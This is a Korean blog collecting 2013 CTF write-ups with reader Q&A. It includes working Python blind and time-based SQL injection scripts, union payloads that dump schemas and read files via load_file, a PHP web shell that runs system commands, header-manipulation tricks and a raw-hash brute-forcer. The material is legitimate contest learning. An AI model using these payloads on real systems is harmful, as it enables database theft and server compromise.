sqlite injection 문제.


import httplib,urllib;
 
# Blind SQL injection
ck = ""
referer = ""
 
# barking up the wrong tree --
 
# setting
#toget = "(SELECT password from users where name='root')"
#toget = "(SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)"
#toget = "(SELECT count() from keys)"
#toget = "(SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)"
toget = "(SELECT value FROM keys LIMIT 1 OFFSET 0)"
stage = 2
 
print "[*] Stage1: Find Length of " + toget
 
answer = ""
length=0
j = 1
k = 1
i = 0x7E
conn = httplib.HTTPConnection("babysfirst.shallweplayaga.me",8041)
conn.connect()
while j <= stage:
        if j is 1:
                query = "' or length("+toget+")="+str(k)+" -- "
        else:
                query = "' or substr("+toget+","+str(k)+",1) = '"+chr(i)+"' -- "
        val = urllib.urlencode({'username': query,'password':'1'})
        headers = { 'Accept':'text/html, application/xhtml+xml, */*', 'Content-type': 'application/x-www-form-urlencoded', 'Content-length': str(len(val)), 'Cookie': ck, 'Referer': referer, 'Accept-Language':'ko-KR','User-Agent':'User-Agent: Mozilla/5.0 (compatible; MSIE 10.6; hello; Trident/6.0)'}
        params = urllib.urlencode({'id':query,'password':'abc'})
        conn.request('POST','/login',val,headers)
        response = conn.getresponse()
        data = response.read()
        if j is 1:
                print "now: "+str(k)
                if data.find('root') is not -1:
                        length = k
                        print "[+] Length: " + str(length)
                        print data
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                if k is 100:
                        print "[-] NotFound"
                        break
                k = k+1
        else:
                print "now: "+chr(i)
                if data.find('root') is not -1:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0x7E
                        if k > length:
                                break
                        else:
                                continue
                i = i-1
 
conn.close()
print data
print "Answer:" +answer


posted by tunz

(2번 문제는 생략하도록 한다. 그냥 네이트온 대화가 오간것을 찾으면 된다.)


virtual host 문제였다.


서버가 virtual host일때, HTTP 헤더의 'Host' 헤더에 따라서 폴더의 경로가 바뀔수 있다.

이번에 처음 안 사실이고, 신기했다.


그래서, 기본적으로는 host가 kisa로 되어있으며, Host를 localhost로 변경할경우 다른 폴더가 나타난다.


import httplib,urllib; import time from socket import *   """ s = socket(AF_INET,SOCK_STREAM) s.connect(('118.107.172.213',8888)) s.send("GET /2013_06_04_blog_backup_.zip HTTP/1.1\r\n") s.send("Referer: http://kisa/\r\n") s.send("Host: localhost\r\n\r\n") f=open('test.zip','w') time.sleep(10) f.write(s.recv(30000)) f.close() s.close() """   conn = httplib.HTTPConnection("118.107.172.213",8888) conn.connect() conn.putrequest('GET','/blog_load_submodules.php?module=/FLAG&cmd=load') conn.putheader('Host','localhost') conn.endheaders() response = conn.getresponse() data = response.read() print data   conn.close()


'Computer Security > CTF' 카테고리의 다른 글

[HDCon 2013] 5번 문제 write up  (6) 2013.06.08
[HDCon 2013] 4번 문제 write up  (0) 2013.06.08
[HDCon 2013] 3번 문제 write up  (0) 2013.06.08
[HDCon 2013] 1번 문제 write up  (6) 2013.06.08
[CodeGate 2013] Vuln 200, exploit  (0) 2013.06.04
[Secuinside 2013] 127.0.0.1, write up  (0) 2013.05.26
posted by tunz

1번 문제는 sql injection 문제였다.


injection 위치는 limit 부분이었다.


limit 부분에 인젝션이 가능할때는 union 인젝션만 가능하다고 알고 있었고, 이게 맞는듯 하다.

그래서 '(', select, from 등이 필터링이 되어있다는걸 알았을때는 멘붕이었고, 내가 잘못 알고 있나 해서 검색을 엄청나게 했다.

하지만, 이 문제는 좀 다른 방향으로 접근해야 했다.

문제파일의 확장자는 'do' 였다. do 확장자에 대해 검색해보면, do 확장자에서 jsp를 불러온다는걸 알수있다.

그래서 students.do 대신 students.jsp로 요청을 하면 ,select의 필터링이 풀린다. 

(즉, do에서 필터링을 하고있었다는걸 알수있다.)

그 후에는 간단한 union 인젝션이다.


import httplib,urllib;
import time
 
conn = httplib.HTTPConnection("118.107.172.213",8889)
conn.connect()
 
# id,name,age,sex,email,title,campus
#query = "12) union (select 0,table_name,0,0x41,0x41,0x41,0x41 from information_schema.tables where table_schema =0x6b6973616864636f6e31); # "
#query = "12) union (select 0,column_name,0,0x41,0x41,0x41,0x41 from information_schema.columns where table_name=0x736563726574); # "
#query = "1) union (select 0,flag,0,0x41,0x41,0x41,0x41 from secret); # "
query = "1) union (select 0,load_file(0x2f7661722f6c69622f6d7973716c2f464c4147),0,0x41,0x41,0x41,0x41); # "
#query = "12) union (select 0,database(),0,0x41,0x41,0x41,0x41); # "
print query
params = urllib.urlencode({'show':query})
#params = params.replace('select','%u0073elect')
print params
conn.putrequest('GET','/kisaHdconWeb1/students.jsp?'+params)
conn.endheaders()
response = conn.getresponse()
data = response.read()
conn.close()
#print data[1000:len(data)-800]
print data


'Computer Security > CTF' 카테고리의 다른 글

[HDCon 2013] 4번 문제 write up  (0) 2013.06.08
[HDCon 2013] 3번 문제 write up  (0) 2013.06.08
[HDCon 2013] 1번 문제 write up  (6) 2013.06.08
[CodeGate 2013] Vuln 200, exploit  (0) 2013.06.04
[Secuinside 2013] 127.0.0.1, write up  (0) 2013.05.26
[Secuinside 2013] PE time  (0) 2013.05.26
posted by tunz
  • 0x0B 2013.06.10 16:01

    혹시 키 파일 디렉토리는 어떻게 구해왔는지 알수있을까요..?
    ;.jsp 같은 취약점 이용해보려했는데 버전이높아서 디렉토리를 구해오진못했는데..

    • tunz 2013.06.10 17:16 신고

      키파일 디렉토리는 주어졌습니다.
      flag 테이블을 우선 찾아내고 나서, 데이터를 읽어보니
      path를 주면서 해당 path에 키가 있다고 하더군요.
      그래서 load_file로 불렀습니다.

  • 0x0B 2013.06.10 18:08

    그렇군요 답변감사합니다 :D

  • 녈비 2013.06.13 18:26

    궁금한 게 하나 있는데요! 인젝션 코드에서 숫자 파라미터 뒤에 괄호 닫기')'는 왜 들어가는 건가요? 본래 테이블 출력해주는 select 문 앞에 괄호 열기 '('가 있었던 건가요? 그렇다면 그걸 어떻게 아셨나요?

    • tunz 2013.06.13 19:37 신고

      그게 그냥 숫자를 치고 #을 하니 에러가 나더군요.
      그러면 추측할수 있는건 mysql이 아니거나, 괄호나 따옴표등이 안닫혔다고 추측할수 있어요.
      그래서 괄호를 하나 닫아보고 #을 해보니 제대로 되길래 그렇게 추측했습니다.

    • 녈비 2013.06.13 21:41

      아 그렇군요. 답변 감사합니다~:)

300점 치고는 너무 쉬운 문제였다.


그냥 php 쉘파일 업로드해서 확인하면 된다.


아래와 같은 파일을 업로드한다.

<?
    system("ls -al /home/");
    system("cat /home/[???? 기억이 안남]/flags");
?>
<br/>
<br/>
<br/>
<br/>
...


그 후에, 

./uploads/[ip encoding]/파일이름

로 접근하면 끝.

posted by tunz
  • ??? 2013.05.27 23:22

    저도 저 방식으로 접근했는데 왜 안됬는지... ㅜㅜ

    주소창에 주소:포트/uploads/아이피인커더/shell.php


    이렇게 시도했는데 말이죠...ㅜㅜ

    • tunz 2013.05.28 10:28 신고

      아이피가 public ip여야 합니다.
      ipconfig을 쳐서 나오는 아이피가 아니고
      네이버나 어느 홈페이지에서 내 ip 보기를 했을때 나오는 아이피로 해야합니다.

      이것때문에 그런게 아닐까요

    • ??? 2013.05.28 20:20

      외부 아이피를 사용했습니다
      주소를 어떻게하셧는지 알수있을까요

    • tunz 2013.05.28 23:36 신고

      음... 그냥 ip주소를 md5 했었는데...
      왜그럴까요

  • ??? 2013.05.27 23:22

    저도 저 방식으로 접근했는데 왜 안됬는지... ㅜㅜ

    주소창에 주소:포트/uploads/아이피인커더/shell.php


    이렇게 시도했는데 말이죠...ㅜㅜ

  • ??? 2013.05.29 13:05

    뭔가 제가 말도안되는 실수를 했던지,
    아니면 문제 외부적 요인에 문제가 있었나봅니다 ㅜㅜ

    수고하시구 답해주셔서 감사합니다 ㅎㅎ

  • rubiya 2013.06.16 01:35

    저희팀이 풀때는 <? 와 system 등등 여러 필터링이 있어서 <script language=php> , highlight_file() 이런식으로 필터링을 우회해가면서 풀었는데 이게 어찌된 영문인지 모르겠네요ㅠㅠ

    • tunz 2013.06.17 17:31 신고

      어라 ... 필터링 될때 어떤 문구가 뜨나요???
      전 처음에 올릴땐 안올라가길래, 파일이 너무 작은가 해서
      뒤에 <br/>을 엄청나게 붙이고 다시 올리니까 됐던 기억이 나네요.

이번 문제의 핵심은 웹소켓을 이용한다는 점과, 그 후에는 간단한 블라인드 인젝션 문제이다.


웹소켓을 사용하기 위해선, 파이썬 웹소켓 모듈이 필요하다. 구글을 통해서 다운받는다.


그리고나면, desc와 asc를 넣어주는 부분이 있는데, 해당부분을 통해서 인젝션이 가능하다.


정렬을 할때, order by a desc, b asc

로 하게되면, a로 정렬한후, a가 같을때 b로 정렬하게 된다.

이 특징을 이용해서, by a desc, if(1=1,b,c) asc

로 넣어주게 되면 블라인드 인젝션이 가능하다.


상황에 따라 True와 False가 의미하는 결과가 다르기때문에, 주의해야한다.


from websocket import create_connection
import json
import pprint
import time
import sys
 
# Blind SQL injection
 
# setting
#toget = "database()"
#toget = "(select table_name from information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61 limit "+sys.argv[1]+",1)"
#toget = "(select column_name from information_schema.columns where table_name=0x666c61675f74626c limit "+sys.argv[1]+",1)"
#toget = "(select table_schema from information_schema.tables where table_name=0x666c61675f74626c limit "+sys.argv[1]+",1)"
toget = "(select `flag` from flag_db.flag_tbl limit 0,1)"
stage = 2
 
print "[*] Stage1: Find Length of " + toget
ws = create_connection("ws://1.234.27.139:38090/banking?p=list")
 
answer = ""
length=0
j = 1
k = 0
m = 1
i = 0
while j <= stage:
        if j is 1:
                query = "{\"cmd\":\"list_init\", \"o\":\"balance\", \"b\":\"desc ,if(length("+toget+")="+str(k)+",`user`,`balance`) limit 0,1-- \"}"
        else:
                query = "{\"cmd\":\"list_init\", \"o\":\"balance\", \"b\":\"desc ,if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1)=1,`user`,`balance`) limit 0,1-- \"}"
 
        ws.send(query)
        result = json.loads(ws.recv())
        pprint.pprint(result)
        result2 = json.loads(result["m"])
        #print result2[0]['user']
        if j is 1:
                print "now: "+str(k)
                if result2[0]['user'] == "!!":
                        length = k
                        print "[+] Length: " + str(length)
                        #print data
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                if k is 100:
                        print "[-] NotFound"
                        break
                k = k+1
        else:
                if result2[0]['user'] == "!!":
                        i += pow(2,8-m)
                        print str(m)+" "+str(i)
                if m is 8:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0
                        m=1
                        if k > length:
                                break
                        else:
                                continue
                m = m+1
 
print "Answer:" +answer
ws.close()



posted by tunz


http 헤더중 range에 관한 문제이다.


Range의 bytes=x-y로 범위를 조작해주면,


응답페이지중 x번째부터 y번째까지의 바이트만을 출력해준다.


import httplib,urllib;
 
conn = httplib.HTTPConnection("119.70.231.180",80)
conn.connect()
conn.putrequest('GET','/secret_memo.txt')
conn.putheader('Connection','keep-alive')
conn.putheader('Range','bytes=100000000-100005000')
conn.endheaders()
response = conn.getresponse()
data = response.read()
print data


posted by tunz

이번 plaid CTF 에서 가장 만만했던 문제는 web 150 charseet 문제밖에 없었다.


나머지는 탈탈탈 털렸다. 특히 64비트 elf 문제들.......


그 문제들과는 반대로 web 150문제는 너무 쉬워서 거의 바로 풀었던것 같다.


union sql injection 문제였는데, 취약점은 search를 하는부분에 있었다.


우선 로그인을 하고나서, search 부분에 들어간후, ' (따옴표) 를 삽입해보면 아래와 같은 에러가 뜬다.


Failed to query database: SELECT c.id, c.cname, DATE_FORMAT(c.lastedited, '%d %M %Y @ %H:%i') as lastedited, c.owner, st.name as tname, ca.name as caname FROM sheet_templates st, characters c LEFT JOIN campaign ca on ca.id = c.campaign WHERE c.public = 'y' AND c.template_id = st.id AND UPPER(c.cname) LIKE UPPER(''%') ORDER BY UPPER(c.cname), UPPER(c.cname) LIMIT 15 


붉은 부분에 내가 쓴 글자가 들어가는것을 확인했고, 대충 형식이 어떤 형식인지 파악했으므로, 바로 인젝션에 들어간다.


대충 해보니 필터링은 없는것 같아서 union을 사용했다.


컬럼의 갯수가 6개이니, 6개로 맞춰주고, database의 이름을 빼오기 위해 아래의 쿼리문을 넣어준다.


 ') union (select 'a',database(),'a','a','a','a') # 


하지만, 글자가 20개 제한이라서 그냥 넣지는 못하는데, 크롬의경우 F12를 눌러 개발자도구를 열고, maxlength=20을 검색해서, maxlength=1000으로 바꾸고 진행했다.


이렇게 database의 이름을 구하고, 차례대로 table들의 이름, column들의 이름을 구한다.



 ') union (select 'a',table_name,'a','a','a','a' from information_schema.tables where table_schema='charsheet' ) # 


 ') union (select 'a',column_name,'a','a','a','a' from information_schema.columns where table_name='characters' ) # 


전부 구하고나서는, 최후의 목적은 관리자의 캐릭터를 찾는것이므로, characters 테이블의 cname과 owner을 불러온다.



') union (select 'a',cname,owner,'a','a','a' from characters) #  


그러면 아래의 결과가 나오고, 그 결과가 정답이다.


Character NameLast EditedOwnerTemplateCampaign
r3al50ftwar3ftwadminaaa

posted by tunz
  • 2013.05.03 00:38

    비밀댓글입니다

    • 2013.05.03 10:35

      비밀댓글입니다

  • abe625 2013.05.04 00:21

    맨위 commnet남긴 사람인데요 ㅠㅠ 비밀댓글이라 안보이는데 어떻게 확인하나요?

    • tunz 2013.05.04 15:05 신고

      그렇군요 ㅋㅋㅋㅋㅋ 다시 쓸게요
      에러문을 보시면 LIKE UPPER (' 이부분에서 가로가 열립니다. 그래서 우선 닫아주고 나서 인젝션을 하는것이죠. 근데 나중에 다시보니 유니온도 필요없고 ') or 1=1 # 이렇게만 해도 답이 나오더라구요... 테이블이 똑같아서

  • cronos91 2013.05.08 22:21 신고

    정말 감사합니다~
    그런데 또 질문이있습니다 ㅠㅠsql injection 초보이다보니...ㅠㅠ
    제가 입력한 값이 LIKE UPPER에 들어가므로 ')이렇게 닫아주는 건 이해가가는데
    턴즈님께서 쓰신 쿼리문을 보니 ')이렇게 닫아주고 나서 union (select~~~~)이렇게 하셨는데
    union뒤에 ( 와 ) 가 쓰인 이유가 머죠??

    • tunz 2013.05.08 22:36 신고

      아 ㅎㅎ 그건 별거 아니에요.
      그냥 c언어에서 if (1=1 && 2=2) 를, if((1=1) && (2=2)) 이렇게 쓸수 있듯이, sql문을 쓸때 좀더 알아보기 쉽게 저런식으로 가로를 써주는 경우도 있습니다.
      안써도 제대로 작동해요.

  • cronos91 2013.05.08 23:52 신고

    아~ 정말 감사합니다~~~ㅎㅎ
    너무 친절하게 답변해주시네요 ㅠㅠ 정말 도움이 많이 됩니다.
    그런데 한가지 더 질문이 있습니다.
    혹시 webhacking.kr문제를 풀어보셨는지요
    그 문제중에 51번 문제를 보면 post방식으로 id와 pw값을 넘기는데 pw값이 md5에 전달인자에 true를 넣어줍니다.
    2013 codegate web 100 문제와 비슷한데요

    여기서 질문이있습니다.
    쿼리를 보면 select id from challenge_51_admin where id='$input_id' and pw='$input_pw'이렇게 생겼습니다.
    이때 admin으로 로그인으로 하면되는데요
    그러면 id입력값에 ' or id=admin#을 해주고 pw에는 아무값이나 넣어주면 주석처리에 의해 pw는 아무 영향을 주지않고 id=admin에 의해 로그인 되는거 아닌가요?? 근데 실제로는 안되네요 ㅠㅠ

    꼭 brute forcing을 하지않고 위에 쓴방법이 안되는 이유가 멀까요?? ㅠㅠ

    긴글 읽어주셔서 감사합니다.

    • tunz 2013.05.09 00:23 신고

      음 그러게요.. 소스만 보면 그렇게 한번 시도해볼만 하네요.
      저게 원본 소스가 아닐수도 있고,
      아니면 magic quotes라는 php설정이 있다고 알고 있는데, 이게 켜져있으면 따옴표를 넣었을때 자동으로 앞에 역슬래쉬를 넣어줘서 \' 가 되버리는데, 아마 이것때문인것 같네요.

  • cronos91 2013.05.09 22:06 신고

    혹시 webhacking.kr 2번 풀어보셨나요~??

    • tunz 2013.05.10 15:51 신고

      넵. 블라인드 인젝션 문제네요.

  • cronos91 2013.05.11 00:21 신고

    2번문제에서요
    쿠키 time부분에 injection을 해야하잖아요 혹시 어떤 쿼리문을 쓰셨나요??
    제 생각에 일단 컬럼명이 password이니깐
    참 and ascii(substr(passowrd,1,1))=97이런식으로 하려했는데 안되더라구요 머가문제인거죠??
    다른 문서를 찾아보니 and select ascii(substr(password,1,1)) from admin=97이런식으로 하던데...
    제가 생각했던 방법과의 차이점은 머고 머가 문제였던거죠??ㅠㅠ

    그냥 단순히 컬럼명만 쓰는경우와 테이블명과 select문까지 써야되는 경우의 차이가 머죠??

    • tunz 2013.05.11 02:09 신고

      좀 오래된거라 기억은 잘 안나지만,
      아마 같은 테이블이 아니라서 그럴겁니다.
      현재 쿼리문에서 불러오는 테이블이 admin테이블이 아니기 때문에,
      서브쿼리를 이용해서 "admin 테이블의 password"를 불러오는것이죠.

  • cronos91 2013.05.11 00:21 신고

    죄송합니다 제가 질문이 좀 많네요 ㅠㅠ
    webhacking.kr에
    50번 문제를 보면 id부분에 injection을 하고 #을 넣어서 pw를 md5로 암호화하는부분은 주석처리로 지우면 될것같은데요
    그럼 $id에 aaa or lv like 3#하면 될것같은데 안되네요 무엇이 문제인거죠??
    글쓰신거 보니 data값이 비어있어서 wrong을 출력한다는데 왜 data값이 빈거죠?
    혹시 db에 lv=3인것이 없어서 data값이 비어있는건가요?

    그리고

    **항상 궁금한건데 **
    $data=mysql_fetch_array(mysql_query("select lv from zmail_member where id='aaa' or lv=3)) 이렇게 입력하면
    db에서 zmail_member테이블을 뒤져서 lv=3인 것을 select하는 것인가요?
    아니면 db에 있던 없던간에 그냥 lv=3을 반환하는 것인가요??ㅠㅠ

    • tunz 2013.05.11 02:13 신고

      네 데이터에서 lv가 3인것을 찾아서 그 lv를 가져오는것입니다.
      그래서 없는경우에는 보통 union 같은걸 이용해서 있는척 하기도 하죠.

  • cronos91 2013.05.11 00:22 신고

    아! 또 55번문제에서 procedure analyse()#를 이용해
    pAsSw0RdzzzZ 칼럼명을 알아내서 이제 blind sql injection을 시도하려고 했는데요
    ?score=-1 or left(right(pAsSw0RdzzzZ,20,1))<0x7f 이렇게 하면 score=-1은 항상 거짓이고 이것을 or로 연결했으니
    left(right(pAsSw0RdzzzZ,20,1))<0x7f이 참이면 참에 해당하는 반응을 출력해야하는것 아닌가요??(pAsSw0RdzzzZ 문자열 길이=20)

    0x7f가 아스키코드값 제일 끝이니 항상 참인 반응을 출력해야되는데 왜 안될까요??
    제가 이해한부분중에 어느부분이 틀린지좀 설명부탁드려요~

    • tunz 2013.05.11 02:13 신고

      음 이건 잘 모르겠네요.
      문제도 기억이 안나고, 이렇게 해본적이 없어서

    • tunz 2013.05.11 12:08 신고

      지금 다시보니까right(left(pAsSw0RdzzzZ,x),1)

      이렇게 해야 맞는거같네요
      왼쪽에서 x개 가져오고 그중에서 오른쪽 1개

  • cronos91 2013.05.11 19:25 신고

    근데 제가 했던것 처럼
    left(right(pAsSORdzzzZ,x),1)해서 오른쪽에서 x개 가져와서 왼쪽 1개 가져와도 되지않나요??

    • tunz 2013.05.12 00:05 신고

      네 그렇게하셔도 상관없는데,
      위에 댓글 보시면 left(right(pAsSw0RdzzzZ,20,1)) 이렇게 써져있네요.
      left(right(pAsSw0RdzzzZ,20),1) 이렇게 해야될거에요

  • cronos91 2013.05.12 00:30 신고

    감사합니다~~~^^
    너무 친절하시네요 ㅎㅎ
    혹시 balt ctf 풀고있으시나요~?(gaem.baltctf.ru)
    web문제 있던데 한번 풀어보세요~
    풀고있는데 web문제 잘 안풀리네요 ㅠㅠ

    • tunz 2013.05.12 01:43 신고

      제가 지금 시험기간이라 ㅎㅎ 이번 대회는 참가안하려구요

  • cronos91 2013.05.12 00:42 신고

    어?그런데 55번 실제로해보니깐
    ?score=-1 or left(right(pAsSw0RdzzzZ,20),1)<0x7f
    이렇게 하면 error가 뜨네요... 아스키값중에 최대값이 0x7f라서 무조건 참이어야되는데 말이죠..
    그런데 또
    ?score=-1%20or%20left(right(pAsSw0RdzzzZ,20),1)<0x21은 되는데 <0x20은 또 안되고...

    왜그러죠ㅠㅠ

    • tunz 2013.05.12 01:43 신고

      ?? 이상한데요.. 전 잘 되는데요

  • cronos91 2013.05.12 13:20 신고

    이게 참일 경우 자신의 id와 점수를 뿌려주는거 아닌가요??
    거짓일 경우 id에 local host가 나오는거고...
    근데 0x7f보다 작다라고하면 local host를 뿌리는데 0x21보다 작다하면 왜 제 id와 점수를 뿌려줄까요ㅠ

    • tunz 2013.05.15 19:29 신고

      시험때문에 이제서야 봤네요.
      score=-1로 해뒀기때문에, 거짓이면 아무것도 안나오고
      어떤아이디던 나오면 참인게 맞는것 같습니다.

  • cronos91 2013.05.12 13:25 신고

    ?score=-1%20or%20left(right(pAsSw0RdzzzZ,20),1)=0x20을 하면 계속 참인 결과를 보여주네요

    right함수에서 20,19,18,17,....,1까지 모두 =0x20에서 참인 결과를 보여주는데 0x20은 space더군요

    그럼 정답이 다 스페이스인가요?? 먼가이상하네요ㅠ

  • cronos91 2013.05.12 13:27 신고

    아! 그리고 죄송한 부탁이지만...
    game.baltctf.ru에서 web100짜리좀 풀어보실수있으신가요~?ㅠㅠ
    컬럼명이나 테이블명좀 알아내려고 procedure analyse()#을 id부분에 아무리 입력해도 안되고
    그렇다고 union도 안통하네요 ㅠㅠ

    무례하지만 부탁드려요 ㅠㅠ
    항상 고맙습니다~^^

  • 2013.05.16 02:26

    비밀댓글입니다

    • tunz 2013.05.16 13:13 신고

      네 ㅋㅋㅋㅋ 저도 물어볼곳 없이 혼자서 공부해봐서 그 기분 알아요.
      우선 메일이 좋을것같네요
      cwhan.tunz@gmail.com입니다

이 문제는 if문과 rand를 이용한 문제


수학문제 4문제가 주어지고, 다 풀면 원래는 700점이 한계인데, 3000점을 넘어야한다.


처음엔 blind injection을 통해 숨겨진 문제를 찾는거라 생각했다.

그래서 시간을 좀 많이 소모했다.


근데 블라인드 인젝션을 힘겹게 해서 데이터를 다 보고나니, 포인트가 있는 문제는 그 4개가 전부였다.


그렇다면, 방법은 1,2,3,4번 문제를 여러번 풀어야 한다는 소리인데..


파라메터를 조작해서 인젝션을 하다보면, 정답에 + or 1 like 1 #만 붙이면 클리어가 뜨는걸 알수 있다.


첫번째 쿼리에서 이미 풀었는지 확인을 하고, 

두번째 쿼리에서 문제의 포인트를 불러오고,

세번째 쿼리에서 불러온 포인트를 이용해 업데이트 한다.


이렇게 추측했다.


그렇다면 첫번째 쿼리와 두번째 쿼리에서 다른 문제를 불러오도록 한다면 될거라 생각했다.

첫번째에선 안풀었던 문제 번호를 불러오거나 대충 5번 이상의 문제번호를 불러도 안풀었다고 생각한다.

그리고 두번째 쿼리에선 1~4번 문제의 포인트를 불러오게 해야한다.

이건, mysql의 랜덤 함수를 이용해서 할수있다.


if(랜덤값이 1일경우,1,5)

라고 문제에 넣게 되면, 1또는 5가 랜덤으로 배정되기때문에 일정 확률로 already clear가 안뜬다.


즉, auth.php?p=if((select cast(rand()*2 as signed))=1,1,5)&k=1+or+1+like+1+#


이런식으로 넣어주면 되었던것 같다... (정확히는 기억이...)


이렇게 몇번 반복해서 시도하면 3000점이 넘는다

posted by tunz

전형적인 블라인드 인젝션 문제다.


contact를 하는 부분(이름,메일,question,메세지 보내는 부분)에서 인젝션이 가능하다.


question 파라메터를 이용해서 블라인드 인젝션을 했다.


그러면 멤버들의 비밀번호가 md5로 해쉬 되어있는걸 확인할수 있고


사전식으로 online md5 decoding 페이지들을 이용해서 디코딩이 가능하다.


그리고 소스보기를 통해 보면, 자바스크립트가 숨겨져있고, 숨겨진 로그인페이지가 있다는걸 알수 있다


그리고 나서 하나씩 로그인해보면 Hound 해킹을 의뢰한 사람과 시간이 나타난다.


[python]

import httplib,urllib;
import sys
import time

# Blind SQL injection

# setting
#toget = 'database()';
#toget = "(SELECT password from `member` where id=0x666c617368)" #flash
#toget = "(SELECT password from `member` where id=0x7a6f64696163)" #zodiac
#toget = "(SELECT password from `member` where id=0x6c656f70617264)" #leopard
toget = "(SELECT password from `member` where id=0x766963746f72)" #victor
#toget = "(SELECT min(`id`) from `member` where id > 0x766963746f72)"
#toget = "(SELECT group_concat(message) FROM contact)"
#toget = "(SELECT column_name FROM information_schema.columns WHERE table_name=0x6d656d626572 and table_schema=0x7468655f67726579  LIMIT "+sys.argv[1]+",1)"
#toget = "(SELECT table_name FROM information_schema.tables WHERE table_schema=0x7468655f67726579 LIMIT "+sys.argv[1]+",1)"
stage = 2
ck = 'PHPSESSID=equncg53svlebb0ic8u9oouc34';
referer = 'http://58.229.122.17:2218/contact.php'

print "[*] Stage1: Find Length of " + toget

answer = ""
length=0
i = 0
j = 1
k = 1
m = 1
while j <= stage:
        if j is 1:
                query = "if(length("+toget+")= "+str(k)+",SLEEP(2),1)"
        else:
                query = "if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1)=0x31,SLEEP(2),1) "
        val = urllib.urlencode({'question': query,'your_name':'a','your_email':'a@a.com','your_message':'a','contact_submitted':'send'})
        headers = { 'Accept':'text/html, application/xhtml+xml, */*', 'Content-type': 'application/x-www-form-urlencoded', 'Content-length': str(len(val)), 'Cookie': ck, 'Referer': referer, 'Accept-Language':'ko-KR','User-Agent':'User-Agent: Mozilla/5.0 (compatible; MSIE 10.6; hello; Trident/6.0)'}
        conn = httplib.HTTPConnection("58.229.122.17",2218)
        t1 = time.time()
        conn.connect()
        conn.request('POST','/contact.php',val,headers)
        response = conn.getresponse()
        data = response.read()
        conn.close()
        t2 = time.time()
        if j is 1:
                print "now: "+str(k)
                if (t2-t1) > 2:
                        length = k
                        print "[+] Length: " + str(length)
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                k = k+1
        else:
                if (t2-t1) > 2:
                        i += pow(2,8-m)
                        print str(m)+" "+str(i)
                if m is 8:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0
                        m=1
                        if k > length:
                                break
                m = m+1

print "Answer:" +answer



posted by tunz
  • 2013.05.30 02:43

    비밀댓글입니다

    • tunz 2013.05.30 03:01 신고

      POST뿐만 아니라, GET방식일때도 urlencoding을 해줘야 합니다.
      예를 들어서, 보내고싶은 value에 만약 "=" 이나 "&" 이라는 문자가 들어가있어버리면,
      asdfadf=val 을 할때, asdfasdf=osdk&oasd=&alsd
      이런식으로 꼬여버릴수가 있어서 urlencoding을 꼭 해줘야합니다.

  • 2013.05.30 05:06

    비밀댓글입니다

    • tunz 2013.05.30 12:11 신고

      banking이요???
      banking은 데이터를 json형식으로 전송했고,
      이 경우는 application/x-www-form-urlencoded 형식으로 전송했기때문에 그렇습니다.

비밀번호 해쉬를 하는데 세번째 인자가 true이다.


raw 형식으로 hash를 한다는것을 알수있다.


예전에 wargame에서 풀어본 경험이 있는데.. 아마 webhacking.kr에 있었던 문제 같았다.


경험이 있으므로.. 쉽게 풀었는데


예전엔 md5로 해쉬를 했는데, 이번엔 좀 다른방법으로 해쉬를 한다.


그러므로 새로 php를 짰고, 'or' 이나 '||' 이 들어있는 해쉬를 하나씩 돌려서 찾아봤고,


결과를 하나씩 넣어보다 보니 로그인 성공

(숫자 몇이 성공이었는지는 정확히 기억이 안난다)


비밀번호를 찾는 코드


$i의 값이 비밀번호다.


$i=0;

echo "start\n";

for ($i=119335433; $i<1000000000; $i++)
{
        $bh = $i;
        //echo $bh." ";
        $hashed = hash("whirlpool",$bh,true);
        if (eregi("'or'",$hashed) || eregi("'||'",$hashed))
        {
                echo "\n";
                echo "Answer: ";
                echo $bh;
                echo "\n";
                echo $hashed;
                break;
        }
}
echo "Done\n".$i;


posted by tunz
  • qwerrr 2013.03.04 21:50

    안녕하세요 혹시 메일 알수있을까요? 헤헤~ chamdasol@naver.com 메일주세요~